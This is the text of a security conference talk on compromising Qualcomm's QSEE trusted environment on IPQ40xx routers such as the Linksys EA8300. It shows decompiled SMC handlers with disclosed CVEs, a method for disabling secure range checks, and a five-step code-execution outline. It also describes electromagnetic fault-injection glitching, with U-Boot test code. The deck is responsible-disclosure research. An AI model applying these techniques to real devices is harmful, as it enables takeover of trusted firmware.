Exploiting QSEE, the Raelize Way!

Niek Timmers
niek@raelize.com
@tieknimmers

Cristofaro Mune
cristofaro@raelize.com
@pulsoid
Overview

• Introduction

• Our unexpected cup of QSEE

• Breaking into QSEE using a:
  • software vulnerability
  • hardware vulnerability

• Takeaways

• Q&A
We like low-level software and hardware, things like OS, TEE, Secure Boot, Fault Injection, etc.
Let’s get started...
We like analyzing connected devices.

What do these devices have in common?
Qualcomm IPQ4018/19-based devices

• System-on-Chip
  • Quad-core ARM Cortex-A7 (ARMv7)
  • Lot’s of interfaces (e.g. i2c, JTAG, SPI, etc.)

• Many devices use a chip from this family
  • OpenWRT supports 34 products
  • Not all devices are supported

A few eventually showed up in our lab...
Qualcomm IPQ40xx Hardware Security

<table>
<thead>
<tr>
<th>Security Support</th>
<th>Security Features: Crypto Engine, Qualcomm® Trusted Execution Environment (TEE), Secure Boot</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Wi-Fi Security: WPA2, WPA, WPS, 802.11i security, AES-CCMP, AES-GCMP, PRNG, TKIP, WAPI, WEP</td>
</tr>
</tbody>
</table>

Source: [https://www.qualcomm.com/products/ipq4019](https://www.qualcomm.com/products/ipq4019)

Long story short, we got excited...
The Target(s)

• We’ve analyzed multiple Qualcomm IPQ4018/19-based devices

• This talk will mostly be about the Linksys EA8300

• Our findings are likely applicable to all devices
Opening the device
Breaking into the bootloader

• U-Boot 2012.07 [Chaos Calmer 15.05.1,r35193] (Nov 02 2017 - 16:33:09)

+ - CBT U-Boot ver: 1.2.9
+ - smem ram ptable found: ver: 1 len: 3
+ - DRAM: 256 MiB
+ - machid : 6x0e10000
+ - NAND: ID = 9590daef
+ - Vendor = ef
+ - Device = da
+ - ONFI device found
+ - SF NAND unsupported id:ff:ff:ff:ff: Unsupported manufacturer ff
+ - ipq_spi: SPI Flash not found (bus/cs/speed/mode) = (8/0/48000000/0)
+ - 256 MiB
+ - MMC: qca_mmc: 0
+ - PCI0 Link Initialized
+ - In: serial
+ - Out: serial
+ - Err: serial
+ - machid: 8610066
+ - flash_type: 2
+ - Net: MAC0 addr:0:3:7f:ba:db:ad
+ - PHY ID1: 6x4d
+ - PHY ID2: 6xdeb1
+ - ipq46xx_ess_sw_init done
+ - eth0
+ - Updating boot_count ... done
+ - Hit any key to stop autoboost: 0
+ - (IPQ46xx) #

• Simply press any key during boot
• Useful commands are not stripped from U-Boot
  • tftpput
  • nand
  • go
  • ...
• We fully control the REE (i.e. Linux)
Let’s conclude a few things…

• Boot chain somewhat similar as (old) Qualcomm SoC phones

• Qualcomm TEE (i.e. QSEE) is loaded and started

• Secure boot is broken for the REE (i.e. we can break into U-Boot)
  • May still be enabled for SBL1 and QSEE
Let's load it into IDA…

Analyzing QSEE

- Obtain partition table using an the ‘smeminfo’ U-Boot command

- A dedicated partition is used to store QSEE

- Use a TFTP server to dump these partitions
  - setenv serverip 192.168.1.128
  - nand read 0x89000000 0x200000 0x100000
  - tftpget 0x89000000 0x100000 QSEE.bin
Linux Kernel issues **SMC** instruction. CPU traps into QSEE.
Exception Vector (ARMv7)

An SMC leads to a Software Interrupt...

Software Interrupt() calls the smc_handler()
## SMC handler routine table

<table>
<thead>
<tr>
<th>SMC ID</th>
<th>Name</th>
<th>Routine</th>
</tr>
</thead>
<tbody>
<tr>
<td>LOAD:87EB465C 01 00 00 00 smc_handlers_funcs DCD 0x801</td>
<td>DCD aTzbspPilInitIm ; &quot;tzbsp_pil_init_image_ns&quot;</td>
<td></td>
</tr>
<tr>
<td>LOAD:87EB465C</td>
<td>DATA XREF: LOAD:smc_handlers_func_ptr2to</td>
<td>LOAD:smc_handlers_func_ptr2to ...</td>
</tr>
<tr>
<td>LOAD:87EB4660 18 60 EA 87</td>
<td>DCD aTzbspPilAuthRe ; &quot;tzbsp_pil_auth_reset_ns&quot;</td>
<td></td>
</tr>
<tr>
<td>LOAD:87EB4664 3D 00 00 00</td>
<td>DCD 0x3D</td>
<td></td>
</tr>
<tr>
<td>LOAD:87EB4668 1F 8F E8 87</td>
<td>DCD tzbsp_pil_init_image_ns+1</td>
<td></td>
</tr>
<tr>
<td>LOAD:87EB466C 02 00 00 00</td>
<td>DCD 2</td>
<td></td>
</tr>
<tr>
<td>LOAD:87EB4670 04 00 00 00</td>
<td>DCD 4</td>
<td></td>
</tr>
<tr>
<td>LOAD:87EB4674 04 00 00 00</td>
<td>DCD 4</td>
<td></td>
</tr>
<tr>
<td>LOAD:87EB4678 05 00 00 00</td>
<td>DCD 0x805</td>
<td></td>
</tr>
<tr>
<td>LOAD:87EB467C 30 00 EA 87</td>
<td>DCD aTzbspPilAuthRe ; &quot;tzbsp_pil_auth_reset_ns&quot;</td>
<td></td>
</tr>
<tr>
<td>LOAD:87EB4680 3D 00 00 00</td>
<td>DCD 0x3D</td>
<td></td>
</tr>
<tr>
<td>LOAD:87EB4684 3D 00 EA 87</td>
<td>DCD tzbsp_pil_auth_reset_ns+1</td>
<td></td>
</tr>
<tr>
<td>LOAD:87EB4688 01 00 00 00</td>
<td>DCD 1</td>
<td></td>
</tr>
<tr>
<td>LOAD:87EB468C 04 00 00 00</td>
<td>DCD 4</td>
<td></td>
</tr>
<tr>
<td>LOAD:87EB4690 02 00 00 00</td>
<td>DCD 0x802</td>
<td></td>
</tr>
<tr>
<td>LOAD:87EB4694 48 60 EA 87</td>
<td>DCD aTzbspPilMemArea ; &quot;tzbsp_pil_mem_area&quot;</td>
<td></td>
</tr>
<tr>
<td>LOAD:87EB4698 00 00 00 00</td>
<td>DCD 0x0</td>
<td></td>
</tr>
<tr>
<td>LOAD:87EB469C AF 89 E8 87</td>
<td>DCD tzbsp_pil_mem_area+1</td>
<td></td>
</tr>
<tr>
<td>LOAD:87EB46A0 03 00 00 00</td>
<td>DCD 3</td>
<td></td>
</tr>
<tr>
<td>LOAD:87EB46A4 04 00 00 00</td>
<td>DCD 4</td>
<td></td>
</tr>
<tr>
<td>LOAD:87EB46A8 04 00 00 00</td>
<td>DCD 4</td>
<td></td>
</tr>
<tr>
<td>LOAD:87EB46AC 04 00 00 00</td>
<td>DCD 4</td>
<td></td>
</tr>
<tr>
<td>LOAD:87EB46B0 06 00 00 00</td>
<td>DCD 0x806</td>
<td></td>
</tr>
<tr>
<td>LOAD:87EB46B4 5B 00 EA 87</td>
<td>DCD aTzbspPilUnlock ; &quot;tzbsp_pil_unlock_area&quot;</td>
<td></td>
</tr>
<tr>
<td>LOAD:87EB46B8 00 00 00 00</td>
<td>DCD 0x0</td>
<td></td>
</tr>
<tr>
<td>LOAD:87EB46BC 0B 8A E8 87</td>
<td>DCD tzbsp_pil_unlock_area+1</td>
<td></td>
</tr>
<tr>
<td>LOAD:87EB46C0 01 00 00 00</td>
<td>DCD 1</td>
<td></td>
</tr>
<tr>
<td>LOAD:87EB46C4 04 00 00 00</td>
<td>DCD 4</td>
<td></td>
</tr>
</tbody>
</table>

Very useful for reverse engineering...
Communicating with QSEE

**REE**
- Application
- Application
- Application

**QSEE**
- Library
- Trusted Application
- Trusted Application
- System TA

**TEE**
- Drivers
- Bootloaders

**Communication options**
- Communication option 1
- Communication option 2

**Hardware separation primitives**
- Execution
- Memory
- Peripherals
- Modules

**Qualcomm IPQ4019**
- Secure Boot
Our approach (option 2)

• QSEE is initialized before U-Boot is started

• QSEE environment is likely the same during boot and runtime

• Extend U-Boot using ‘standalone’ applications
  • Loaded into internal memory using the ‘tftp’ command
  • Executed using the ‘go’ command

• Allows us to execute arbitrary code in the context of U-Boot
Communicating with QSEE

REE / Non-secure World

```c
s32 scm_call_raeize(u32 svc, u32 cmd, u32 arg1, u32 arg2, u32 arg3, u32 arg4, int nr_of_args)
{
    int context_id;
    register u32 r0 asm("r0") = SCM_ATOMIC(svc, cmd, nr_of_args);
    register u32 r1 asm("r1") = (u32)&context_id;
    register u32 r2 asm("r2") = arg1;
    register u32 r3 asm("r3") = arg2;
    register u32 r4 asm("r4") = arg3;
    register u32 r5 asm("r5") = arg4;

    asm volatile(
        "asmq(\"%0\", \"r0\")",
        "asmq(\"%1\", \"r0\")",
        "asmq(\"%2\", \"r1\")",
        "asmq(\"%3\", \"r2\")",
        "asmq(\"%4\", \"r3\")",
        "asmq(\"%5\", \"r4\")",
        "asmq(\"%6\", \"r5\")"
        ".arch_extension_sec\n"
        "smc 0 @ switch to secure world\n"
        : "=r" (r0)
        : "r" (r0), "r" (r1), "r" (r2), "r" (r3), "r" (r4), "r" (r5));
    return r0;
}
```

TEE / Secure World

```c
int tzbsp_is_service_available(int arg1, int arg2, int arg3)
{
    int _arg1; // r5
    uint8_t *arg2; // r4

    _arg1 = arg1;
    arg2 = arg2;
    if (!arg3)
    { return -16;
      if (!tzbsp_is_secure_range_0(arg2, 1) )
        return 0xFFFFFFFF;
      *arg2 = search_services(_arg1, 0x0) || sub_87E8BA3A(_arg1);
    return 0;
    }
}
```

We control the arguments that are passed...
Enumerating all SMC handler routines

- Use `tzbsp_is_service_available` to recover available SMC handler routines
- Iterate over all possible ‘svc’ and ‘cmd’ combinations (i.e. 0 to 0xffff)
- Results match the SMC handler routines we identified in the binary
How to trust the untrusted?

This son of !@#$%, all night he, "Check. Check. Check."
Secure Ranges

- Check if the pointer argument points to non-secure memory
- Prevents passing pointers that would read or write secure memory

We dive deeper into secure range checks later on…
Do all SMC handler routines arguments received from the REE?
tzbsp_blow_fuses_and_reset (CVE-2020-11256)

```c
int __cdecl tzbsp_blow_fuses_and_reset(uint32_t *arg1, uint32_t *arg2)
{
    uint32_t * arg2; // r4
    uint32_t * arg1; // r5
    int result; // r0

    arg2 = arg2;
    arg1 = arg1;
    if (!arg2)
        return 2;
    *arg2 = 1;
    if (arg1)
    {
        if (is_allowed_range(sec_range_table_ptr, arg1, (arg1 + 3)))
        {
            tzbsp_dcache_inval_region(arg1, 4);
            *arg2 = sub_87E97794(arg1, 0x800u);
            sub_87EA42A4(_arg1, 0x800u);
            result = *arg2;
        }
        else
        {
            result = 0xFFFFFFFE;
        }
    }
    else
    {
        tzbsp_log(5, "FP:(0x%x8X),(0x%x8X),(0x%x8X)\n", 672, 0, 2048);
        result = 2;
        *arg2 = 2;
    }
    return result;
}
```

- Argument arg1 is checked using `is_allowed_range()`
- But, arg2 is not...
- Write 1, 2 or the output of `sub_87E97794` to any address (incl. secure memory)
usb_calib (CVE-2020-11257)

- Argument `arg1` directly dereferenced without any check
- Write what is stored at 0x580e0 to any address
- On the Linksys EA8300 we analyzed this value was 0x787

```c
int usb_calib(uint32_t *arg1)
{
    uint32_t *arg1; // r4
    arg1 = arg1;
    _sub 87E87F7A(0);
    * arg1 = MEMORY[0x580E0];
    _sub 87E87FA4(0);
    return 0;
}
```
### tzbsp_version_set (CVE-2020-11258)

```c
int tzbsp_version_set(int arg1, int arg2, uint32_t *arg3, int arg4)
{
    uint32_t *arg3; // r4
    int retVal; // r0

    arg3 = arg3;
    retVal = sub_87E90564(arg1, arg2, arg3, arg4);
    if ( retVal >= 0 )
    {
        *arg3 = retVal;
        if ( retVal && retVal != 0x10 )
        {
            if ( retVal == 5 )
                retVal = 0xFFFFFFFF0;
            else
                retVal = 0xFFFFFFFF;
        }
        else
        {
            retVal = 0;
        }
    }
    else
    {
        *arg3 = 0x7FFFFFFF;
    }

    return retVal;
}
```

- All four arguments are passed into a function that returns a value based on the arguments.
- Argument arg3 is dereferenced to store the return value of the function.
- Moreover, it can also be used to write 0x7FFFFFFF to any address.
tzbsp_version_get (CVE-2020-11259)

```
int tzbsp_version_get(int arg1, uint32_t *arg2, uint32_t *arg3)
{
    uint32_t * arg2; // r4
    int retVal; // r0

    arg2 = arg2;
    *arg3 = 0;
    if ( arg1 == 0xFF )
        retVal = sub_87E90370() | 0xF0000;
    else
        retVal = sub_87E904CE(arg1);
    * arg2 = retVal;
    return 0;
}
```

• Argument arg2 and arg3 are dereferenced directly
• Use arg3 to write 0x0 to any address
• Use arg2 to write the return value of sub_87E904CE to any address
Summary

• Several SMC handler routines sanitize their arguments insufficiently

• Un-sanitized pointers allow us to write to secure memory

• No arbitrary writes, just a few restricted values (e.g. 0, 1, 2, etc.)

• Please note, all vulnerabilities were responsibly disclosed to Qualcomm
  • https://www.qualcomm.com/company/product-security/bulletins/january-2021-bulletin
Enough to achieve QSEE code execution!?
Secure Range tables

• **Secure Range** tables configure secure memory ranges
  • Used by `is_allowed_range()` to check if a buffer is in REE memory
  • One entry defines one contiguous range

• Identical to Qualcomm MSM8974 (see Gal Beniamini’s [blog post](#))
Checking if buffer is allowed (i.e. is REE memory)

Return 0 if range is not allowed.

Check if secure range is enabled.
Enabled: flags[1] == 1
Disabled: flags[1] == 0

Return 1 if range is allowed (i.e. no overlap with secure memory).
(Non-)Secure Memory Map

- The following ranges are non-secure memory
  - 0x8000_0000 to 0x87E7_FFFF
  - 0x8800_0000 to 0x8FFF_FFFF
- The rest is secure memory (see picture)
- The entire 32-bit address space is covered
What if…

• The secure ranges table is stored in writeable memory

• Set flags[1] bit to 0 for all entries, all entries will be disabled

• Any range will be allowed…
Remember CVE-2020-11256?
Disabling a range entry (CVE-2020-11256)

- Use buf2 to write 0x1 to the flags field in order to disable the entry
- Make sure buf1 contains a value that prevents further writing to buf2
  - i.e. is_allowed_range() should fail
“Open Sesame”

- The function is_allowed_range() will return 1 for any range (i.e. all entries are disabled)

- Any range check requested by aa SMC handler routine becomes non-functional

- All SMC handler routines now accept arguments that point to QSEE memory

Successfully opened up the attack surface!
Long story short...
Achieving QSEE code execution

Step 1: Create a R/W primitive using multiple SMC handler routines

Step 2: Store shellcode in non-secure memory at 0x82000000

Step 3: Modify the MMU configuration to clear the XN-bit

Step 4: Set the function pointer used by tzbsp_exec_smc to 0x82000000

Step 5: Execute the shellcode by calling tzbsp_exec_smc

Today, we are going to talk about something else...
What if Qualcomm fixed all these vulnerabilities?
Fault Injection

“Introduce faults into a chip to alter its intended behavior.”

```
// check if secure boot is enabled
if (SECURE_BOOT_EN == 1) {
    authenticate(&bootloader);
}

// execute the bootloader
execute(&bootloader);
```

We modify software using a hardware vulnerability.
Electromagnetic Fault Injection (EMFI)

• Drive high voltage through a coil to generate an electromagnetic field

• Emit this field into the chip to cause ‘eddy currents’ within the chip’s circuitry

• Faults occur due to ‘transistor errors’

https://byjus.com/physics/what-are-eddy-currents/
What tools do we use?
Riscure’s tools enable us to operate the setup autonomously.
Note to self: make better pictures!
Characterization

• **Goal** is to test if the chip is vulnerable to glitches or not

• Identify good glitch parameters in a *semi-controlled* environment
  • Glitch Location
  • Glitch Power

• Repeat **target** instruction(s) to increase chances for success
  • i.e. timing becomes less-relevant
Characterization – U-Boot Standalone Application

```c
uint32_t *trigger = (uint32_t *)(0x0102f004);
if(cmd == 'A') {
    uint32_t counter;
    *trigger = 0x0;
    asm volatile (
        "mov r0, #0;\n        add r0, r0, #1;\n        < repeat 10,000 times>\n        "mov %[counter], r0;"\n        : [counter] "=r" (counter) :
        : "r0" );
    printf("AAAA%08xBBB\n", counter);
}
```

- **Trigger up**: AAAA 00002710 BBBB
  - Expected
  - <no output>
  - Mute

- **Increase counter**: AAAA 0000270f BBBB
  - <undef. instruction>
  - Processor exception

- **Trigger down**: AAAA 0000270e BBBB
  - <prefetch abort>
  - Processor exception

- **Print counter**: AAAA 0000270f BBBB
  - Success
  - AAAA 0000270e BBBB
  - Success
We **fixed** the EMFI probe on the **red** dot!
Characterization – Conclusion

• We determined that the IPQ4019 is vulnerable to EMFI
  • Modification of software is possible (i.e. instruction corruption)

• Same processor is used for U-Boot and QSEE
  • Location we identified should be OK to target QSEE code
Let’s break into QSEE...
Approach

• Bypass a ‘secure range check’ in a SMC handler routine

• Disable ‘secure range table entry’ in memory
  • To disable all ‘secure range checks’ of other SMC handler routines

• Reuse software exploit to achieve code execution
Goal is to ‘modify’ the if statement
There’s more...
signed int __fastcall is_allowed_range(unsigned int *sec_range_table_ptr, unsigned int *start_addr, unsigned int *end_addr)
{
    int i; // r4
    unsigned int *range_addr; // r3
    unsigned int *range_start; // r5
    secure_range *sec_range; // r5
    
    if ( end_addr < start_addr )
        return 0;
    for ( i = 0; ; ++i )
    {
        sec_range = (secure_range *)&sec_range_table_ptr[4 * i];
        if ( sec_range->id == 0xFFFFFFFF )
            break;
        if ( !(sec_range->flags & 2) )
            continue;
        range_addr = sec_range->end_addr;
        if ( !range_addr )
        {
            range_addr = sec_range->start_addr;
            if ( range_addr <= start_addr )
                return 0;
            Label_10:
            if ( range_addr <= end_addr )
                return 0;
            continue;
        }
        range_start = sec_range->start_addr;
        if ( range_start <= start_addr && range_addr > start_addr || range_start <= end_addr && range_addr > end_addr )
            return 0;
        if ( range_start > start_addr )
            goto Label_10;
    }
    return 1;
}
Many, many ‘vulnerable’ locations.

This is just from decompiled code…
(disassembly likely shows even more possibilities)

We don’t care what we glitch exactly…
U-Boot Standalone Application

```c
if(cmd == 'A') {
    uint32_t a1 = 0xdeadbeef;
    uint32_t a2 = 0x87EAB204;
    uint32_t a3 = 4;
    uint32_t a4 = 0;

    uint32_t *trigger = (uint32_t *)(0x0102f004);
    *trigger = 0x0;

    // calling tzbsp_fver_get_version()
    uint32_t ret1 = scm_call_r(0x6, 0x3, a1, a2, a3, a4, 3);
    *trigger = 0x3;

    // calling tzbsp_fver_get_version()
    uint32_t ret2 = scm_call_r(0x6, 0x3, a1, a2, a3, a4, 3);

    // printing to serial interface
    printf("AAAA%08x%08x%08xBBBB\n", ret1, ret2, *(uint32_t *)a2);
}
```

We are able to read from QSEE memory due to a MMU misconfiguration... convenient for verification.
### Bypassing Range Check – Responses

<p>| | | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Ret1</td>
<td>Ret2</td>
<td>Flag</td>
<td></td>
<td>Expected</td>
</tr>
<tr>
<td>AAAA</td>
<td>ffffffee</td>
<td>ffffffee</td>
<td>00000002</td>
<td>BBBB</td>
</tr>
<tr>
<td>Expected</td>
<td>AAAA</td>
<td>00000000</td>
<td>00000000</td>
<td>00000000</td>
</tr>
<tr>
<td>Success</td>
<td>...</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Timing is key

Trigger up

Attack Window

Trigger down

U-Boot

QSEE

U-Boot
Bypassing Range Check – Plot

Glitch Power

CPU exceptions (U-Boot)  Successful glitches  CPU exceptions (U-Boot)

Glitch Delay

U-Boot  QSEE  U-Boot
When we set the Glitch Delay and Glitch Power as a successful glitch we achieve a success rate of 5% (i.e. a bypass of a Range Check every ~20 seconds).
Achieving QSEE code execution...
We use FIRM to discuss FI attacks.

Fault Injection Fault Model (FIRM)

'Modifying Secure Range Table Entry'

Activate: Riscure Inspector FI
Inject: Electromagnetic glitch
Glitch: Location, Power and Timing.
Fault: Instruction corruption
Exploit: Bypass secure range checks
Goal: Modify secure range table entry

https://raelize.com/posts/raelize-fi-reference-model/
Then...
… to achieve arbitrary code execution.

Step 1: Create a R/W primitive using multiple SMC handler routines.

Step 2: Store shellcode in non-secure memory at 0x82000000.

Step 3: Modify the MMU configuration to clear the XN-bit.

Step 4: Set the function pointer used by tzbsp_exec_smc to 0x82000000.

Step 5: Execute the shellcode by calling tzbsp_exec_smc.
Let’s wrap up.
Takeaways

• Multiple critical vulnerabilities in QSEE (for IPQ40xx-based devices)
  • These were fixed trivially as it’s software

• Qualcomm IPQ40xx-based devices are vulnerable to EMFI forever
  • This hardware vulnerability won’t be fixed
  • Physical access gives full device control

• Targeting code instead of ARM TrustZone HW primitives is effective
  • No need to target the NS-bit like others have done in the past

• Software exploits can be reused effectively during FI attacks
More details about our research:
https://raelize.com/blog
Q&A

Niek Timmers
niek@raelize.com
@tieknimmers

Cristofaro Mune
cristofaro@raelize.com
@pulsoid